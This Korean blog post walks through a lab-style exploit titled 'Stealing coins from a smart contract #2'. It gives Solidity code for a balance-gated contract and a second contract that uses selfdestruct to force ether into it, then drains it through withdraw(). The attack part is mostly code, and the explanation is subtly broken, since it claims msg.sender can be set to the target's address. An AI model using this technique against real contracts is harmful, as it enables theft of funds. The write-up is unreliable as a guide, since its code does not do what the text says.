본문 바로가기
aaa
블록체인

스마트컨트랙트에서 코인 훔치기 #2

스마트컨트랙트에서 코인 훔치기 #2

 

[요약]

잔고가 일정 범위 이상이어야 인출할 수 있는 스마트컨트랙트가 있다.

현재 스마트컨트랙트의 잔고는 0.5 eth

인출 조건은 잔고가 1.0 eth 이상이 되어야 하는데

이 스마트컨트랙트에는 메타마스크로는 이더리움을 전송할 수 없다.

이 스마트 컨트랙트의 이더를 인출해보자.

 

 

 

타켓 스마트컨트랙트 코드

pragma solidity 0.8.6;

contract Test7 {
    
    constructor() payable {
        
    }
    
    function withdraw() public {
        require(address(this).balance >= 1 ether);
        payable(msg.sender).transfer(address(this).balance);
    } 
    
}

 

스마트 컨트랙트 Test7 배포

잔고는 500 피니[finney] = 0.5 eth로

리믹스에서 배포.

 

 

 

스마트컨트랙트 test07 배포 완료 / 잔고는 0.5 Eth

 

스마트컨트랙트의 현재 잔고는 0.5 eth

잔고를 1.0 eth 이상으로 만들어야 

컨트랙트의 모든 잔고를 가져올 수 있다.

 

  • 시도 01

메타마스크를 이용해 직접 전송!

 

잔고를 1.0 eth로 만들기 위해 

메타마스크로 0.5 eth 전송시도.

전송을 할 수 없다.

 

금액을 입력하면 진행을 할 수가 없다.

스마트컨트랙트 코드에는

fallback 함수가 없으므로

직접 이더를 보낼 수 가 없다.

 

 

 

  • 시도 02

또 다른 스마트컨트랙트 Test8를 작성하고

destroy 시켜 강제로 타겟 스마트컨트랙트인 Test7로

이더리움이 전송되게 만든다.

 

pragma solidity 0.8.6;

contract Test8 {
    
    constructor() payable {
        
    }
    
    function destroy() public {
        selfdestruct(payable(msg.sender));
    }
    
}

 

Test8 / 함수 Destroy 호출

Test8 스마트컨트랙트에

0.5 이더를 넣고

destroy 함수를 실행 시키면

msg.sender에게 스마트컨트랙트에 있는

0.5 이더가 전송된다.

 

1.0 eth로 증가한 Test7 스마트컨트랙트.

msg.sender에 Test7의 스마트컨트랙트 주소를 입력하고

Test8을 호출하여 디스트로이 시킨다.

그럼 Test7의 잔고는 0.5 + 0.5 = 1.0 eth가 되고

 

Test7에서 withdraw를 호출하면 인출완료.

1.0 eth 이상의 조건을 만족시키므로

인출 할 수 있다.

 

1이더에서 0으로 감소한 Test7 스마트컨트랙트의 잔고.

 


loading